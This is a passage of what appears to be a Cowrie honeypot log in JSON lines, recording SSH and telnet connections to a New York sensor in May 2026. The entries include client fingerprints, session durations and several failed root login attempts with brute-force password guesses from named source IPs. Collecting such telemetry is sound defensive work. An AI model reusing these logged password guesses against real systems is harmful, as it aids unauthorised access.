@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:41.995508Z","src_ip":"103.122.221.179","session":"d5a5a09b6e82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33274,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d23fb765346","protocol":"telnet","message":"New connection: 192.119.13.58:33274 (10.17.0.5:23) [session: 8d23fb765346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:42.250870Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"6666666666","message":"login attempt [root/6666666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:42.788923Z","src_ip":"103.122.221.179","session":"d5a5a09b6e82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:44.055298Z","src_ip":"103.122.221.179","session":"d5a5a09b6e82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36496,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd7c4ad37719","protocol":"telnet","message":"New connection: 192.119.13.58:36496 (10.17.0.5:23) [session: cd7c4ad37719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:50.383116Z"}
{"eventid":"cowrie.session.closed","duration":36.44054627418518,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:51.176847Z","src_ip":"192.119.13.58","session":"cf33b5f2a5cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56794,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0455ab5a59e","protocol":"telnet","message":"New connection: 192.119.13.58:56794 (10.17.0.5:23) [session: d0455ab5a59e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:56.628192Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35956,"dst_ip":"10.17.0.5","dst_port":23,"session":"42100734ef28","protocol":"telnet","message":"New connection: 192.119.13.58:35956 (10.17.0.5:23) [session: 42100734ef28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:57.374579Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39480,"dst_ip":"10.17.0.5","dst_port":23,"session":"eeee7f8a2391","protocol":"telnet","message":"New connection: 192.119.13.58:39480 (10.17.0.5:23) [session: eeee7f8a2391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:58.228040Z"}
{"eventid":"cowrie.session.closed","duration":38.46800470352173,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:47:20.718763Z","src_ip":"192.119.13.58","session":"8d23fb765346","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36262,"dst_ip":"10.17.0.5","dst_port":23,"session":"527aefa5c582","protocol":"telnet","message":"New connection: 192.119.13.58:36262 (10.17.0.5:23) [session: 527aefa5c582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:47:26.716043Z"}
{"eventid":"cowrie.session.closed","duration":43.92650055885315,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:47:34.309475Z","src_ip":"192.119.13.58","session":"cd7c4ad37719","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.30273222923279,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:47:34.530664Z","src_ip":"192.119.13.58","session":"eeee7f8a2391","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49260,"dst_ip":"10.17.0.5","dst_port":23,"session":"7137015da3ab","protocol":"telnet","message":"New connection: 192.119.13.58:49260 (10.17.0.5:23) [session: 7137015da3ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:47:37.417537Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":49554,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0a6bd8a9285","protocol":"ssh","message":"New connection: 62.133.63.178:49554 (159.203.135.109:22) [session: b0a6bd8a9285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:47:39.322407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:47:39.327647Z","src_ip":"62.133.63.178","session":"b0a6bd8a9285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:47:39.448408Z","src_ip":"62.133.63.178","session":"b0a6bd8a9285","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"909954","message":"login attempt [root/909954] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:47:39.810267Z","src_ip":"62.133.63.178","session":"b0a6bd8a9285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.51395893096924,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:47:40.142043Z","src_ip":"192.119.13.58","session":"d0455ab5a59e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:47:40.932569Z","src_ip":"62.133.63.178","session":"b0a6bd8a9285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.76708126068115,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:47:49.141542Z","src_ip":"192.119.13.58","session":"42100734ef28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53592,"dst_ip":"10.17.0.5","dst_port":23,"session":"79261a79bd4a","protocol":"telnet","message":"New connection: 192.119.13.58:53592 (10.17.0.5:23) [session: 79261a79bd4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:47:52.817450Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42472,"dst_ip":"10.17.0.5","dst_port":23,"session":"d23e80422633","protocol":"telnet","message":"New connection: 192.119.13.58:42472 (10.17.0.5:23) [session: d23e80422633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:47:56.997036Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35014,"dst_ip":"10.17.0.5","dst_port":23,"session":"eef1be8e4286","protocol":"telnet","message":"New connection: 192.119.13.58:35014 (10.17.0.5:23) [session: eef1be8e4286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:48:02.389906Z"}
{"eventid":"cowrie.session.closed","duration":50.62992024421692,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:48:17.345837Z","src_ip":"192.119.13.58","session":"527aefa5c582","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52542,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3a307ef75a4","protocol":"telnet","message":"New connection: 192.119.13.58:52542 (10.17.0.5:23) [session: a3a307ef75a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:48:21.091404Z"}
{"eventid":"cowrie.session.closed","duration":0.005538463592529297,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:48:21.096812Z","src_ip":"192.119.13.58","session":"a3a307ef75a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.60283327102661,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:48:22.020283Z","src_ip":"192.119.13.58","session":"7137015da3ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47720,"dst_ip":"10.17.0.5","dst_port":23,"session":"f09c1ceea405","protocol":"telnet","message":"New connection: 192.119.13.58:47720 (10.17.0.5:23) [session: f09c1ceea405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:48:27.180215Z"}
{"eventid":"cowrie.session.closed","duration":41.155240297317505,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:48:33.972556Z","src_ip":"192.119.13.58","session":"79261a79bd4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"183.0.214.39","src_port":60656,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a60324d84a3","protocol":"telnet","message":"New connection: 183.0.214.39:60656 (159.203.135.109:23) [session: 1a60324d84a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:48:34.796218Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42266,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d9f962ecf75","protocol":"telnet","message":"New connection: 192.119.13.58:42266 (10.17.0.5:23) [session: 5d9f962ecf75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:48:39.841648Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":50000,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dd77526df8f","protocol":"ssh","message":"New connection: 103.27.238.116:50000 (10.17.0.5:22) [session: 8dd77526df8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:48:39.863744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:48:39.868325Z","src_ip":"103.27.238.116","session":"8dd77526df8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:48:40.146431Z","src_ip":"103.27.238.116","session":"8dd77526df8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia5228","message":"login attempt [root/nokia5228] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:48:40.981835Z","src_ip":"103.27.238.116","session":"8dd77526df8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:48:42.262570Z","src_ip":"103.27.238.116","session":"8dd77526df8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.6122887134552,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:48:46.002043Z","src_ip":"192.119.13.58","session":"eef1be8e4286","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.571883201599121,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:48:48.367914Z","src_ip":"183.0.214.39","session":"1a60324d84a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51836,"dst_ip":"10.17.0.5","dst_port":23,"session":"061870f13714","protocol":"telnet","message":"New connection: 192.119.13.58:51836 (10.17.0.5:23) [session: 061870f13714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:48:49.108271Z"}
{"eventid":"cowrie.session.closed","duration":52.25404906272888,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:48:49.250986Z","src_ip":"192.119.13.58","session":"d23e80422633","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55064,"dst_ip":"10.17.0.5","dst_port":23,"session":"45a40327085a","protocol":"telnet","message":"New connection: 192.119.13.58:55064 (10.17.0.5:23) [session: 45a40327085a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:04.213027Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45004,"dst_ip":"10.17.0.5","dst_port":23,"session":"dad5fcb2d327","protocol":"telnet","message":"New connection: 192.119.13.58:45004 (10.17.0.5:23) [session: dad5fcb2d327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:12.052062Z"}
{"eventid":"cowrie.session.closed","duration":46.83947443962097,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:14.019543Z","src_ip":"192.119.13.58","session":"f09c1ceea405","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.26512145996094,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:22.106667Z","src_ip":"192.119.13.58","session":"5d9f962ecf75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46146,"dst_ip":"10.17.0.5","dst_port":23,"session":"acdc289cf98c","protocol":"telnet","message":"New connection: 192.119.13.58:46146 (10.17.0.5:23) [session: acdc289cf98c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:31.199665Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":48800,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b48a0254d1b","protocol":"ssh","message":"New connection: 51.250.105.222:48800 (10.17.0.5:22) [session: 3b48a0254d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:31.950200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:31.954865Z","src_ip":"51.250.105.222","session":"3b48a0254d1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:32.095209Z","src_ip":"51.250.105.222","session":"3b48a0254d1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:32.489157Z","src_ip":"51.250.105.222","session":"3b48a0254d1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:33.622982Z","src_ip":"51.250.105.222","session":"3b48a0254d1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.98193311691284,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:36.090093Z","src_ip":"192.119.13.58","session":"061870f13714","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.324254751205444,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:45.536888Z","src_ip":"192.119.13.58","session":"45a40327085a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":56502,"dst_ip":"159.203.135.109","dst_port":22,"session":"78501e5305d3","protocol":"ssh","message":"New connection: 193.37.70.224:56502 (159.203.135.109:22) [session: 78501e5305d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:45.594972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:45.600303Z","src_ip":"193.37.70.224","session":"78501e5305d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:45.695402Z","src_ip":"193.37.70.224","session":"78501e5305d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sniper","message":"login attempt [root/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:45.980611Z","src_ip":"193.37.70.224","session":"78501e5305d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.17561411857605,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:46.227558Z","src_ip":"192.119.13.58","session":"dad5fcb2d327","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:47.078553Z","src_ip":"193.37.70.224","session":"78501e5305d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37030,"dst_ip":"10.17.0.5","dst_port":23,"session":"6af470023b54","protocol":"telnet","message":"New connection: 192.119.13.58:37030 (10.17.0.5:23) [session: 6af470023b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:51.102232Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":42526,"dst_ip":"159.203.135.109","dst_port":22,"session":"7df4b98bed6b","protocol":"ssh","message":"New connection: 103.27.238.114:42526 (159.203.135.109:22) [session: 7df4b98bed6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:59.728744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:49:59.738171Z","src_ip":"103.27.238.114","session":"7df4b98bed6b","protocol":"ssh"}
